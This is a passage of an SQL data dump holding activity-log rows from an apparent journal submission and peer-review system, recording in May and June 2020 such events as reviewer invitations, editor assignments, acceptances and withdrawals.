Reviewer',4064,'Publisher',85),(36276,'2020-05-28 19:16:13','Publisher has Invited Reviewer',4064,'Publisher',85),(36277,'2020-05-28 19:16:15','Publisher has Invited Reviewer',4064,'Publisher',85),(36279,'2020-05-28 19:20:28','Publisher has Invited Reviewer',4056,'Publisher',85),(36280,'2020-05-28 19:20:29','Publisher has Invited Reviewer',4056,'Publisher',85),(36281,'2020-05-28 19:20:30','Publisher has Invited Reviewer',4056,'Publisher',85),(36282,'2020-05-28 19:20:32','Publisher has Invited Reviewer',4056,'Publisher',85),(36286,'2020-05-28 21:10:20','Reviewer has updated comments',4241,'Reviewer',11876),(36287,'2020-05-28 23:04:34','Reviewer has updated comments',4131,'Reviewer',12531),(36305,'2020-05-30 01:54:33','Reviewer has updated comments',4160,'Reviewer',12899),(36306,'2020-05-30 01:54:42','Reviewer has updated comments',4160,'Reviewer',12899),(36311,'2020-05-31 02:13:21','Reviewer has updated comments',4194,'Reviewer',5743),(36312,'2020-05-31 02:15:29','Reviewer has updated comments',4194,'Reviewer',5743),(36313,'2020-05-31 12:49:39','Reviewer has updated comments',4194,'Reviewer',5743),(36329,'2020-06-01 12:17:03','Manuscript Submitted by Author using Submission form',4396,'Author',5617),(36338,'2020-06-01 12:40:36','Manuscript Submitted by Author using Submission form',4401,'Author',5620),(36376,'2020-06-01 13:22:30','Publisher has been Assigned Editor',4337,'Publisher',972),(36377,'2020-06-01 13:22:53','Publisher has Invited Reviewer',4337,'Publisher',972),(36378,'2020-06-01 13:22:54','Publisher has Invited Reviewer',4337,'Publisher',972),(36379,'2020-06-01 13:22:55','Publisher has Invited Reviewer',4337,'Publisher',972),(36380,'2020-06-01 13:23:04','Publisher has Invited Reviewer',4337,'Publisher',972),(36399,'2020-06-01 13:57:10','Publisher has Invited Reviewer',4191,'Publisher',673),(36400,'2020-06-01 13:57:12','Publisher has Invited Reviewer',4191,'Publisher',673),(36401,'2020-06-01 13:57:13','Publisher has Invited Reviewer',4191,'Publisher',673),(36402,'2020-06-01 13:57:14','Publisher has Invited Reviewer',4191,'Publisher',673),(36403,'2020-06-01 13:57:15','Publisher has Invited Reviewer',4191,'Publisher',673),(36404,'2020-06-01 13:57:46','Publisher has Invited Reviewer',3983,'Publisher',673),(36405,'2020-06-01 13:57:47','Publisher has Invited Reviewer',3983,'Publisher',673),(36406,'2020-06-01 13:57:48','Publisher has Invited Reviewer',3983,'Publisher',673),(36407,'2020-06-01 13:58:33','Publisher has Invited Reviewer',3882,'Publisher',673),(36408,'2020-06-01 13:58:34','Publisher has Invited Reviewer',3882,'Publisher',673),(36409,'2020-06-01 13:58:35','Publisher has Invited Reviewer',3882,'Publisher',673),(36450,'2020-06-01 15:58:58','Manuscript Submitted by Author using Submission form',4437,'Author',5650),(36451,'2020-06-01 16:01:52','Manuscript Submitted by Author using Submission form',4438,'Author',5651),(36453,'2020-06-01 16:12:38','Manuscript Submitted by Author using Submission form',4439,'Author',5652),(36463,'2020-06-01 17:15:19','Manuscript Submitted by Author using Submission form',4445,'Author',5656),(36465,'2020-06-01 17:33:59','Editor has Accepted to review Manuscript',4209,'Editor',194),(36466,'2020-06-01 17:34:16','Editor has been Editor Decision Accepted article',4209,'Editor',194),(36467,'2020-06-01 17:36:05','Publisher: Accept Notification has been sent to Author',4209,'Publisher',48),(36469,'2020-06-01 17:52:45','Manuscript Submitted by Publisher',4446,'Publisher',48),(36470,'2020-06-01 17:52:54','Publisher has been Assigned Editor',4446,'Publisher',48),(36472,'2020-06-01 18:47:23','Publisher has been Withdrawn  article',4117,'Publisher',319),(36473,'2020-06-01 18:50:23','Publisher has Invited Reviewer',4117,'Publisher',319),(36477,'2020-06-01 19:32:58','Author sent Email',3780,'Author',4952),(36552,'2020-06-02 09:39:00','Publisher has been Assigned Editor',4439,'Publisher',48),(36553,'2020-06-02 09:39:09','Publisher has been Assigned Editor',4438,'Publisher',48),(36554,'2020-06-02 09:39:25','Publisher has been Assigned Editor',4437,'Publisher',48),(36555,'2020-06-02 09:39:36','Publisher has been Assigned Editor',4396,'Publisher',48),(36556,'2020-06-02 09:40:07','Publisher has Invited Reviewer',4446,'Publisher',48),(36602,'2020-06-02 12:51:36','Manuscript Submitted by Author',4465,'Author',5066),(36622,'2020-06-02 15:09:44','Manuscript Submitted by Author using Submission form',4466,'Author',5671),(36629,'2020-06-02 16:00:51','Manuscript Submitted by Publisher',4467,'Publisher',248),(36630,'2020-06-02 16:01:00','Publisher has been Assigned Editor',4467,'Publisher',248),(36631,'2020-06-02 16:01:24','Publisher has Invited Reviewer',4467,'Publisher',248),(36632,'2020-06-02 16:01:26','Publisher has Invited Reviewer',4467,'Publisher',248),(36633,'2020-06-02 16:01:28','Publisher has Invited Reviewer',4467,'Publisher',248),(36634,'2020-06-02 16:01:29','Publisher has Invited Reviewer',4467,'Publisher',248),(36635,'2020-06-02 16:02:40','Publisher has Invited Reviewer',4387,'Publisher',248),(36636,'2020-06-02 16:02:41','Publisher has Invited Reviewer',4387,'Publisher',248),(36637,'2020-06-02 16:02:43','Publisher has Invited Reviewer',4387,'Publisher',248),(36638,'2020-06-02 16:02:44','Publisher has Invited Reviewer',4387,'Publisher',248),(36639,'2020-06-02 16:02:47','Publisher has Invited Reviewer',4387,'Publisher',248),(36640,'2020-06-02 16:03:12','Publisher has been Accepted Articles  article',4174,'Publisher',248),(36641,'2020-06-02 16:03:54','Publisher has been Accepted Articles  article',4140,'Publisher',248),(36744,'2020-06-02 18:32:47','Publisher : Notified Editor',4194,'Publisher',85),(36745,'2020-06-02 18:33:27','Editor has Accepted to review Manuscript',4194,'Editor',204),(36746,'2020-06-02 18:33:42','Editor has been Revise (Notify Author) article',4194,'Editor',204),(36748,'2020-06-02 18:34:48','Publisher : Notified Author',4194,'Publisher',85),(36749,'2020-06-02 18:35:42','Publisher : Notified Editor',4017,'Publisher',85),(36750,'2020-06-02 18:38:42','Editor has been Editor Decision Accepted article',4017,'Editor',1291),(36752,'2020-06-02 18:41:26','Publisher : Notified Author',3799,'Publisher',85),(36755,'2020-06-02 19:27:04','Reviewer has submitted comments',4056,'Reviewer',13101),(36764,'2020-06-03 00:28:06','Manuscript Submitted by Author using Submission form',4482,'Author',5688),(36766,'2020-06-03 01:27:40','Manuscript Submitted by Author using Submission form',4483,'Author',5690),(36768,'2020-06-03 02:02:02','Author sent Email',3400,'Author',4451),(36772,'2020-06-03 09:06:59','Publisher : Notified Editor',4056,'Publisher',85),(36773,'2020-06-03 09:07:32','Editor has Accepted to review Manuscript',4056,'Editor',1393),(36774,'2020-06-03 09:07:47','Editor has been Revise (Notify Author) article',4056,'Editor',1393),(36775,'2020-06-03 09:08:53','Publisher : Notified Author',4056,'Publisher',85),(36816,'2020-06-03 10:35:41','Editor has been Revise (Notify Author) article',4056,'Editor',1393),(36824,'2020-06-03 11:07:19','Publisher has Invited Reviewer',4218,'Publisher',673),(36825,'2020-06-03 11:07:20','Publisher has Invited Reviewer',4218,'Publisher',673),(36826,'2020-06-03 11:07:22','Publisher has Invited Reviewer',4218,'Publisher',673),(36827,'2020-06-03 11:07:23','Publisher has Invited Reviewer',4218,'Publisher',673),(36844,'2020-06-03 13:02:51','Publisher has been Assigned Editor',4465,'Publisher',673),(36845,'2020-06-03 13:03:50','Publisher has Invited Reviewer',4465,'Publisher',673),(36846,'2020-06-03 13:03:52','Publisher has Invited Reviewer',4465,'Publisher',673),(36847,'2020-06-03 13:03:53','Publisher has Invited Reviewer',4465,'Publisher',673),(36848,'2020-06-03 13:03:54','Publisher has Invited Reviewer',4465,'Publisher',673),(36849,'2020-06-03 13:03:55','Publisher has Invited Reviewer',4465,'Publisher',673),(36850,'2020-06-03 13:03:56','Publisher has Invited Reviewer',4465,'Publisher',673),(36851,'2020-06-03 13:03:58','Publisher has Invited Reviewer',4465,'Publisher',673),(36852,'2020-06-03 13:12:48','Publisher has Invited Reviewer',3926,'Publisher',319),(36853,'2020-06-03 13:12:52','Publisher has Invited Reviewer',3926,'Publisher',319),(36854,'2020-06-03 13:12:56','Publisher has Invited Reviewer',3926,'Publisher',319),(36855,'2020-06-03 13:13:00','Publisher has Invited Reviewer',3926,'Publisher',319),(36856,'2020-06-03 13:13:04','Publisher has Invited Reviewer',3926,'Publisher',319),(36858,'2020-06-03 13:13:08','Publisher has Invited Reviewer',3926,'Publisher',319),(36860,'2020-06-03 13:13:39','Publisher has Invited Reviewer',3926,'Publisher',319),(36861,'2020-06-03 13:13:43','Publisher has Invited Reviewer',3926,'Publisher',319),(36862,'2020-06-03 13:13:47','Publisher has Invited Reviewer',3926,'Publisher',319),(36863,'2020-06-03 13:13:51','Publisher has Invited Reviewer',3926,'Publisher',319),(36864,'2020-06-03 13:13:55','Publisher has Invited Reviewer',3926,'Publisher',319),(36865,'2020-06-03 13:18:42','Publisher has been Withdrawn  article',3495,'Publisher',319),(36868,'2020-06-03 13:30:57','Publisher: Accept Notification has been sent to Author',3741,'Publisher',319),(36871,'2020-06-03 14:55:47','Reviewer has submitted comments',4081,'Reviewer',12532),(36875,'2020-06-03 15:08:53','Publisher has been Assigned Editor',4466,'Publisher',248),(36876,'2020-06-03 15:11:25','Publisher has been Assigned Editor',4483,'Publisher',84),(36918,'2020-06-03 16:28:59','Publisher has been Assigned Editor',4199,'Publisher',988),(36919,'2020-06-03 16:29:45','Publisher has Invited Reviewer',4199,'Publisher',988),(36920,'2020-06-03 16:30:18','Publisher has Invited Reviewer',4199,'Publisher',988),(36921,'2020-06-03 16:31:06','Publisher has been Assigned Editor',4263,'Publisher',988),(36922,'2020-06-03 16:31:38','Publisher has Invited Reviewer',4263,'Publisher',988),(36923,'2020-06-03 16:31:45','Publisher has Invited Reviewer',4263,'Publisher',988),(36925,'2020-06-03 17:16:10','Publisher : Notified Author',4056,'Publisher',85),(36926,'2020-06-03 17:22:28','Publisher has been Assigned Editor',4482,'Publisher',75),(36957,'2020-06-03 18:23:55','Publisher has Invited Reviewer',4483,'Publisher',84),(36958,'2020-06-03 18:23:57','Publisher has Invited Reviewer',4483,'Publisher',84),(36959,'2020-06-03 18:23:59','Publisher has Invited Reviewer',4483,'Publisher',84),(36960,'2020-06-03 18:24:00','Publisher has Invited Reviewer',4483,'Publisher',84),(36961,'2020-06-03 18:24:02','Publisher has Invited Reviewer',4483,'Publisher',84),(36962,'2020-06-03 18:24:03','Publisher has Invited Reviewer',4483,'Publisher',84),(36963,'2020-06-03 18:24:05','Publisher has Invited Reviewer',4483,'Publisher',84),(36964,'2020-06-03 18:24:06','Publisher has Invited Reviewer',4483,'Publisher',84),(36965,'2020-06-03 18:24:07','Publisher has Invited Reviewer',4483,'Publisher',84),(36966,'2020-06-03 18:24:09','Publisher has Invited Reviewer',4483,'Publisher',84),(36967,'2020-06-03 18:24:10','Publisher has Invited Reviewer',4483,'Publisher',84),(36968,'2020-06-03 18:24:12','Publisher has Invited Reviewer',4483,'Publisher',84),(36969,'2020-06-03 18:24:13','Publisher has Invited Reviewer',4483,'Publisher',84),(36970,'2020-06-03 18:24:15','Publisher has Invited Reviewer',4483,'Publisher',84),(36971,'2020-06-03 18:24:16','Publisher has Invited Reviewer',4483,'Publisher',84),(36972,'2020-06-03 18:24:23','Publisher has Invited Reviewer',4483,'Publisher',84),(36973,'2020-06-03 18:24:24','Publisher has Invited Reviewer',4483,'Publisher',84),(36974,'2020-06-03 18:24:31','Publisher has Invited Reviewer',4483,'Publisher',84),(36975,'2020-06-03 18:24:33','Publisher has Invited Reviewer',4483,'Publisher',84),(36976,'2020-06-03 18:24:34','Publisher has Invited Reviewer',4483,'Publisher',84),(36977,'2020-06-03 18:24:36','Publisher has Invited Reviewer',4483,'Publisher',84),(36978,'2020-06-03 18:50:33','Reviewer has submitted comments',4386,'Reviewer',9936),(36979,'2020-06-03 18:51:19','Publisher : Notified Editor',4386,'Publisher',248),(36980,'2020-06-03 18:52:50','Editor has Accepted to review Manuscript',4386,'Editor',359),(36981,'2020-06-03 18:53:07','Editor has been Editor Decision Accepted article',4386,'Editor',359),(36982,'2020-06-03 18:53:34','Publisher: Accept Notification has been sent to Author',4386,'Publisher',248),(36983,'2020-06-03 19:11:27','Publisher has been Assigned Editor',4226,'Publisher',85),(36984,'2020-06-03 19:30:30','Publisher has been Assigned Editor',4392,'Publisher',85),(36985,'2020-06-03 19:34:44','Publisher has Invited Reviewer',4392,'Publisher',85),(36986,'2020-06-03 19:36:02','Publisher has Invited Reviewer',4392,'Publisher',85),(36987,'2020-06-03 19:36:03','Publisher has Invited Reviewer',4392,'Publisher',85),(36988,'2020-06-03 19:36:05','Publisher has Invited Reviewer',4392,'Publisher',85),(36989,'2020-06-03 19:36:06','Publisher has Invited Reviewer',4392,'Publisher',85),(36990,'2020-06-03 19:36:08','Publisher has Invited Reviewer',4392,'Publisher',85),(36991,'2020-06-03 19:36:09','Publisher has Invited Reviewer',4392,'Publisher',85),(36992,'2020-06-03 19:36:10','Publisher has Invited Reviewer',4392,'Publisher',85),(36993,'2020-06-03 19:36:12','Publisher has Invited Reviewer',4392,'Publisher',85),(36994,'2020-06-03 19:36:13','Publisher has Invited Reviewer',4392,'Publisher',85),(36995,'2020-06-03 19:36:15','Publisher has Invited Reviewer',4392,'Publisher',85),(36996,'2020-06-03 19:36:17','Publisher has Invited Reviewer',4392,'Publisher',85),(36997,'2020-06-03 19:36:19','Publisher has Invited Reviewer',4392,'Publisher',85),(36998,'2020-06-03 19:36:20','Publisher has Invited Reviewer',4392,'Publisher',85),(36999,'2020-06-03 19:37:11','Publisher has Invited Reviewer',4226,'Publisher',85),(37000,'2020-06-03 19:37:12','Publisher has Invited Reviewer',4226,'Publisher',85),(37001,'2020-06-03 19:37:14','Publisher has Invited Reviewer',4226,'Publisher',85),(37002,'2020-06-03 19:37:16','Publisher has Invited Reviewer',4226,'Publisher',85),(37003,'2020-06-03 19:37:17','Publisher has Invited Reviewer',4226,'Publisher',85),(37004,'2020-06-03 19:37:19','Publisher has Invited Reviewer',4226,'Publisher',85),(37005,'2020-06-03 19:37:20','Publisher has Invited Reviewer',4226,'Publisher',85),(37006,'2020-06-03 19:39:15','Manuscript Updated',4392,'Publisher',85),(37008,'2020-06-03 21:37:50','Manuscript Submitted by Author using Submission form',4496,'Author',5697),(37009,'2020-06-04 01:30:19','Editor has been Editor Decision Accepted article',4017,'Editor',1291),(37010,'2020-06-04 01:31:55','Editor has been Editor Decision Rejected article',3635,'Editor',1291),(37012,'2020-06-04 06:55:26','Reviewer has been sent email to Publisher',3812,'Reviewer',13109),(37013,'2020-06-04 08:01:05','Reviewer has submitted comments',4191,'Reviewer',11354),(37019,'2020-06-04 08:48:26','Reviewer has submitted comments',3812,'Reviewer',13109),(37020,'2020-06-04 08:54:24','Publisher has been Rejected Articles  article',2635,'Publisher',75),(37021,'2020-06-04 08:54:50','Publisher has been Withdrawn  article',1457,'Publisher',75),(37022,'2020-06-04 08:55:40','Publisher has been Withdrawn  article',2719,'Publisher',75),(37023,'2020-06-04 08:58:32','Editor has been Editor Decision Rejected article',3209,'Editor',162),(37027,'2020-06-04 09:50:16','Reviewer has submitted comments',4070,'Reviewer',12532),(37035,'2020-06-04 10:29:47','Reviewer has submitted comments',3985,'Reviewer',12972),(37041,'2020-06-04 11:13:05','Manuscript Submitted by Author using Submission form',4498,'Author',5699),(37042,'2020-06-04 11:20:01','Publisher has Unassign Editor',4437,'Publisher',48),(37043,'2020-06-04 11:20:35','Publisher has Invited Reviewer',4344,'Publisher',48),(37044,'2020-06-04 11:21:00','Publisher has Invited Reviewer',4344,'Publisher',48),(37045,'2020-06-04 11:21:24','Publisher has Invited Reviewer',4437,'Publisher',48),(37046,'2020-06-04 11:21:26','Publisher has Invited Reviewer',4437,'Publisher',48),(37051,'2020-06-04 11:29:22','Publisher : Notified Editor',3812,'Publisher',85),(37052,'2020-06-04 11:30:40','Editor has Accepted to review Manuscript',3812,'Editor',204),(37053,'2020-06-04 11:31:33','Editor has been Revise (Notify Author) article',3812,'Editor',204),(37055,'2020-06-04 11:32:25','Publisher : Notified Author',3812,'Publisher',85),(37060,'2020-06-04 11:35:29','Publisher has been Withdrawn  article',3635,'Publisher',85),(37066,'2020-06-04 11:38:01','Publisher has Invited Reviewer',3938,'Publisher',85),(37067,'2020-06-04 11:38:13','Publisher has Invited Reviewer',3938,'Publisher',85),(37068,'2020-06-04 11:38:14','Publisher has Invited Reviewer',3938,'Publisher',85),(37069,'2020-06-04 11:38:15','Publisher has Invited Reviewer',3938,'Publisher',85),(37070,'2020-06-04 11:39:30','Publisher has been Withdrawn  article',3938,'Publisher',85),(37071,'2020-06-04 11:41:15','Publisher has Invited Reviewer',3898,'Publisher',85),(37072,'2020-06-04 11:41:21','Publisher has Invited Reviewer',3898,'Publisher',85),(37073,'2020-06-04 11:41:23','Publisher has Invited Reviewer',3898,'Publisher',85),(37074,'2020-06-04 11:41:24','Publisher has Invited Reviewer',3898,'Publisher',85),(37075,'2020-06-04 11:41:31','Publisher has Invited Reviewer',3898,'Publisher',85),(37076,'2020-06-04 11:41:32','Publisher has Invited Reviewer',3898,'Publisher',85),(37077,'2020-06-04 11:44:45','Publisher has Invited Reviewer',3701,'Publisher',85),(37078,'2020-06-04 11:45:25','Publisher has been Accepted Articles  article',2838,'Publisher',85),(37079,'2020-06-04 11:46:08','Publisher : Notified Author',4058,'Publisher',85),(37080,'2020-06-04 11:46:39','Publisher : Notified Author',3987,'Publisher',85),(37081,'2020-06-04 11:47:43','Publisher has been Withdrawn  article',3874,'Publisher',85),(37082,'2020-06-04 11:48:51','Publisher : Notified Author',3831,'Publisher',85),(37083,'2020-06-04 11:56:42','Publisher : Notified Author',3791,'Publisher',85),(37102,'2020-06-04 14:46:58','Publisher has been Accepted Articles  article',3383,'Publisher',248),(37105,'2020-06-04 14:48:17','Publisher has been Accepted Articles  article',3125,'Publisher',248),(37106,'2020-06-04 14:48:27','Publisher has been Accepted Articles  article',4386,'Publisher',248),(37107,'2020-06-04 14:51:45','Publisher : Notified Editor',2744,'Publisher',248),(37109,'2020-06-04 14:52:28','Editor has been Editor Decision Accepted article',2744,'Editor',359),(37110,'2020-06-04 14:54:52','Publisher has been Accepted Articles  article',2744,'Publisher',248),(37113,'2020-06-04 15:27:23','Manuscript Submitted by Author',4502,'Author',5704),(37115,'2020-06-04 15:35:47','Publisher has been Rejected Articles  article',3209,'Publisher',75),(37116,'2020-06-04 15:37:30','Publisher has been Withdrawn  article',3266,'Publisher',75),(37117,'2020-06-04 15:38:16','Publisher : Notified Editor',3447,'Publisher',75),(37118,'2020-06-04 15:40:05','Publisher : Notified Author',3467,'Publisher',75),(37119,'2020-06-04 15:45:10','Publisher has Invited Reviewer',3566,'Publisher',75),(37120,'2020-06-04 15:45:11','Publisher has Invited Reviewer',3566,'Publisher',75),(37121,'2020-06-04 15:49:15','Manuscript has been Revised',3812,'Author',4990),(37122,'2020-06-04 15:52:12','Editor has been Revise (Notify Author) article',3447,'Editor',161),(37123,'2020-06-04 15:52:58','Publisher : Notified Author',3447,'Publisher',75),(37125,'2020-06-04 15:56:06','Publisher has Invited Reviewer',3122,'Publisher',75),(37126,'2020-06-04 16:03:03','Reviewer has submitted comments',3575,'Reviewer',11589),(37127,'2020-06-04 16:04:06','Publisher : Notified Editor',3575,'Publisher',75),(37128,'2020-06-04 16:05:11','Editor has been Editor Decision Accepted article',3575,'Editor',161),(37129,'2020-06-04 16:06:07','Publisher: Accept Notification has been sent to Author',3575,'Publisher',75),(37170,'2020-06-04 18:10:11','Manuscript Submitted by Author using Submission form',4513,'Author',5716),(37181,'2020-06-04 23:30:56','Author sent Email',4183,'Author',5382),(37185,'2020-06-05 03:58:27','Reviewer has been sent email to Publisher',4483,'Reviewer',13207),(37187,'2020-06-05 08:35:40','Publisher has been Assigned Editor',4496,'Publisher',75),(37193,'2020-06-05 09:16:28','Editor has Accepted to review Manuscript',4344,'Editor',194),(37195,'2020-06-05 09:16:39','Editor has been Editor Decision Accepted article',4344,'Editor',194),(37198,'2020-06-05 09:16:54','Editor has Accepted to review Manuscript',4316,'Editor',194),(37201,'2020-06-05 09:17:05','Editor has been Editor Decision Accepted article',4316,'Editor',194),(37204,'2020-06-05 09:17:26','Editor has Accepted to review Manuscript',4230,'Editor',194),(37207,'2020-06-05 09:17:37','Editor has been Editor Decision Accepted article',4230,'Editor',194),(37209,'2020-06-05 09:17:44','Editor has Accepted to review Manuscript',4190,'Editor',194),(37211,'2020-06-05 09:17:59','Editor has been Editor Decision Accepted article',4190,'Editor',194),(37215,'2020-06-05 09:18:44','Editor has Accepted to review Manuscript',4446,'Editor',194),(37217,'2020-06-05 09:18:53','Editor has been Editor Decision Accepted article',4446,'Editor',194),(37220,'2020-06-05 09:19:30','Publisher: Accept Notification has been sent to Author',4446,'Publisher',48),(37225,'2020-06-05 10:01:10','Editor has Accepted to review Manuscript',1290,'Editor',222),(37237,'2020-06-05 10:12:12','Publisher has Invited Reviewer',4482,'Publisher',75),(37238,'2020-06-05 10:12:21','Publisher has Invited Reviewer',4482,'Publisher',75),(37239,'2020-06-05 10:13:19','Publisher : Notified Editor',3682,'Publisher',75),(37241,'2020-06-05 10:17:07','Publisher : Notified Editor',3833,'Publisher',75),(37244,'2020-06-05 10:40:25','Editor has been Editor Decision Accepted article',1290,'Editor',222),(37245,'2020-06-05 10:41:56','Publisher has been Accepted Articles  article',1290,'Publisher',84),(37246,'2020-06-05 10:42:01','Publisher has been Accepted Articles  article',1290,'Publisher',84),(37247,'2020-06-05 10:42:10','Publisher has been Accepted Articles  article',1290,'Publisher',84),(37248,'2020-06-05 10:47:04','Publisher has Invited Reviewer',2723,'Publisher',84),(37249,'2020-06-05 10:47:05','Publisher has Invited Reviewer',2723,'Publisher',84),(37250,'2020-06-05 10:47:07','Publisher has Invited Reviewer',2723,'Publisher',84),(37251,'2020-06-05 10:47:08','Publisher has Invited Reviewer',2723,'Publisher',84),(37252,'2020-06-05 10:47:09','Publisher has Invited Reviewer',2723,'Publisher',84),(37253,'2020-06-05 10:47:10','Publisher has Invited Reviewer',2723,'Publisher',84),(37254,'2020-06-05 10:47:12','Publisher has Invited Reviewer',2723,'Publisher',84),(37255,'2020-06-05 10:47:13','Publisher has Invited Reviewer',2723,'Publisher',84),(37256,'2020-06-05 10:47:14','Publisher has Invited Reviewer',2723,'Publisher',84),(37257,'2020-06-05 10:47:15','Publisher has Invited Reviewer',2723,'Publisher',84),(37258,'2020-06-05 10:47:16','Publisher has Invited Reviewer',2723,'Publisher',84),(37259,'2020-06-05 10:47:18','Publisher has Invited Reviewer',2723,'Publisher',84),(37260,'2020-06-05 10:47:19','Publisher has Invited Reviewer',2723,'Publisher',84),(37261,'2020-06-05 10:47:20','Publisher has Invited Reviewer',2723,'Publisher',84),(37262,'2020-06-05 10:47:21','Publisher has Invited Reviewer',2723,'Publisher',84),(37263,'2020-06-05 10:47:22','Publisher has Invited Reviewer',2723,'Publisher',84),(37264,'2020-06-05 10:47:23','Publisher has Invited Reviewer',2723,'Publisher',84),(37265,'2020-06-05 10:47:25','Publisher has Invited Reviewer',2723,'Publisher',84),(37266,'2020-06-05 10:47:26','Publisher has Invited Reviewer',2723,'Publisher',84),(37267,'2020-06-05 10:47:28','Publisher has Invited Reviewer',2723,'Publisher',84),(37268,'2020-06-05 10:47:29','Publisher has Invited Reviewer',2723,'Publisher',84),(37284,'2020-06-05 11:49:28','Publisher has Invited Reviewer',4392,'Publisher',85),(37285,'2020-06-05 11:49:43','Publisher has Invited Reviewer',4392,'Publisher',85),(37286,'2020-06-05 11:50:17','Publisher has Invited Reviewer',4392,'Publisher',85),(37287,'2020-06-05 11:50:28','Publisher has Invited Reviewer',4392,'Publisher',85),(37288,'2020-06-05 11:50:30','Publisher has Invited Reviewer',4392,'Publisher',85),(37305,'2020-06-05 12:35:44','Publisher has been Assigned Editor',4513,'Publisher',248),(37317,'2020-06-05 13:16:46','Reviewer has submitted comments',3862,'Reviewer',9933),(37318,'2020-06-05 13:18:04','Publisher : Notified Editor',3862,'Publisher',248),(37319,'2020-06-05 13:18:53','Editor has Accepted to review Manuscript',3862,'Editor',357),(37320,'2020-06-05 13:19:17','Editor has been Editor Decision Accepted article',3862,'Editor',357),(37321,'2020-06-05 13:20:30','Publisher: Accept Notification has been sent to Author',3862,'Publisher',248),(37322,'2020-06-05 13:20:38','Publisher has been Accepted Articles  article',3862,'Publisher',248),(37323,'2020-06-05 13:24:30','Reviewer has submitted comments',2777,'Reviewer',9923),(37324,'2020-06-05 13:25:24','Publisher : Notified Editor',2777,'Publisher',248),(37325,'2020-06-05 13:26:06','Publisher has been Assigned Editor',4498,'Publisher',673),(37326,'2020-06-05 13:26:56','Editor has been Editor Decision Accepted article',2777,'Editor',357),(37327,'2020-06-05 13:27:13','Publisher has Invited Reviewer',4498,'Publisher',673),(37328,'2020-06-05 13:27:15','Publisher has Invited Reviewer',4498,'Publisher',673),(37329,'2020-06-05 13:27:16','Publisher has Invited Reviewer',4498,'Publisher',673),(37330,'2020-06-05 13:27:18','Publisher has Invited Reviewer',4498,'Publisher',673),(37331,'2020-06-05 13:27:18','Publisher has been Accepted Articles  article',2777,'Publisher',248),(37332,'2020-06-05 13:27:19','Publisher has Invited Reviewer',4498,'Publisher',673),(37333,'2020-06-05 13:27:20','Publisher has Invited Reviewer',4498,'Publisher',673),(37334,'2020-06-05 13:27:22','Publisher has Invited Reviewer',4498,'Publisher',673),(37336,'2020-06-05 13:29:53','Publisher has Invited Reviewer',4513,'Publisher',248),(37337,'2020-06-05 13:29:54','Publisher has Invited Reviewer',4513,'Publisher',248),(37338,'2020-06-05 13:29:56','Publisher has Invited Reviewer',4513,'Publisher',248),(37339,'2020-06-05 13:29:57','Publisher has Invited Reviewer',4513,'Publisher',248),(37340,'2020-06-05 13:29:58','Publisher has Invited Reviewer',4513,'Publisher',248),(37356,'2020-06-05 14:33:00','Editor has Accepted to review Manuscript',4437,'Editor',193),(37357,'2020-06-05 14:33:08','Editor has been Editor Decision Accepted article',4437,'Editor',193),(37358,'2020-06-05 14:35:30','Reviewer has submitted comments',3825,'Reviewer',5406),(37359,'2020-06-05 14:36:20','Publisher : Notified Editor',3825,'Publisher',248),(37360,'2020-06-05 14:36:51','Editor has Accepted to review Manuscript',3825,'Editor',358),(37361,'2020-06-05 14:37:07','Editor has been Editor Decision Accepted article',3825,'Editor',358),(37362,'2020-06-05 14:37:39','Publisher: Accept Notification has been sent to Author',3825,'Publisher',248),(37363,'2020-06-05 14:37:45','Publisher has been Accepted Articles  article',3825,'Publisher',248),(37369,'2020-06-05 15:09:09','Publisher has been Assigned Editor',4502,'Publisher',376),(37380,'2020-06-05 15:50:49','Publisher has been Assigned Editor',4445,'Publisher',75),(37381,'2020-06-05 15:52:01','Publisher has Invited Reviewer',4445,'Publisher',75),(37382,'2020-06-05 15:52:02','Publisher has Invited Reviewer',4445,'Publisher',75),(37383,'2020-06-05 15:52:04','Publisher has Invited Reviewer',4445,'Publisher',75),(37384,'2020-06-05 15:52:05','Publisher has Invited Reviewer',4445,'Publisher',75),(37385,'2020-06-05 15:52:52','Publisher has been Withdrawn  article',602,'Publisher',75),(37386,'2020-06-05 15:52:57','Publisher has been Withdrawn  article',602,'Publisher',75),(37391,'2020-06-05 15:57:25','Publisher has been Withdrawn  article',628,'Publisher',75),(37392,'2020-06-05 15:57:30','Publisher has been Withdrawn  article',628,'Publisher',75),(37393,'2020-06-05 15:57:31','Publisher has been Withdrawn  article',628,'Publisher',75),(37394,'2020-06-05 15:57:35','Publisher has been Withdrawn  article',628,'Publisher',75),(37395,'2020-06-05 15:58:35','Publisher has been Withdrawn  article',3122,'Publisher',75),(37396,'2020-06-05 15:59:09','Publisher has been Withdrawn  article',2696,'Publisher',75),(37397,'2020-06-05 15:59:30','Publisher has been Withdrawn  article',3447,'Publisher',75),(37398,'2020-06-05 15:59:34','Publisher has been Withdrawn  article',3447,'Publisher',75),(37399,'2020-06-05 16:01:03','Publisher has been Withdrawn  article',3467,'Publisher',75),(37406,'2020-06-05 16:12:05','Reviewer has submitted comments',3566,'Reviewer',13225),(37407,'2020-06-05 16:15:18','Publisher : Notified Editor',3566,'Publisher',75),(37408,'2020-06-05 16:17:29','Editor has been Editor Decision Accepted article',3566,'Editor',160),(37409,'2020-06-05 16:17:34','Editor has been Editor Decision Accepted article',3566,'Editor',160),(37410,'2020-06-05 16:19:02','Publisher has been Accepted Articles  article',3566,'Publisher',75),(37411,'2020-06-05 16:20:52','Publisher has Invited Reviewer',3888,'Publisher',75),(37412,'2020-06-05 16:20:54','Publisher has Invited Reviewer',3888,'Publisher',75),(37413,'2020-06-05 16:20:55','Publisher has Invited Reviewer',3888,'Publisher',75),(37414,'2020-06-05 16:20:57','Publisher has Invited Reviewer',3888,'Publisher',75),(37415,'2020-06-05 16:20:58','Publisher has Invited Reviewer',3888,'Publisher',75),(37416,'2020-06-05 16:20:59','Publisher has Invited Reviewer',3888,'Publisher',75),(37417,'2020-06-05 16:22:26','Publisher : Notified Editor',4241,'Publisher',75),(37418,'2020-06-05 16:23:37','Publisher has been Withdrawn  article',3682,'Publisher',75),(37419,'2020-06-05 16:24:51','Publisher has been Withdrawn  article',3833,'Publisher',75),(37420,'2020-06-05 16:30:02','Editor has been Editor Decision Accepted article',3808,'Editor',161),(37421,'2020-06-05 16:30:08','Editor has been Editor Decision Accepted article',3808,'Editor',161),(37422,'2020-06-05 16:30:46','Publisher: Accept Notification has been sent to Author',3808,'Publisher',75),(37425,'2020-06-05 16:37:42','Publisher has been Withdrawn  article',3902,'Publisher',75),(37450,'2020-06-05 17:16:44','Publisher has been Withdrawn  article',3755,'Publisher',84),(37451,'2020-06-05 17:16:47','Publisher has been Withdrawn  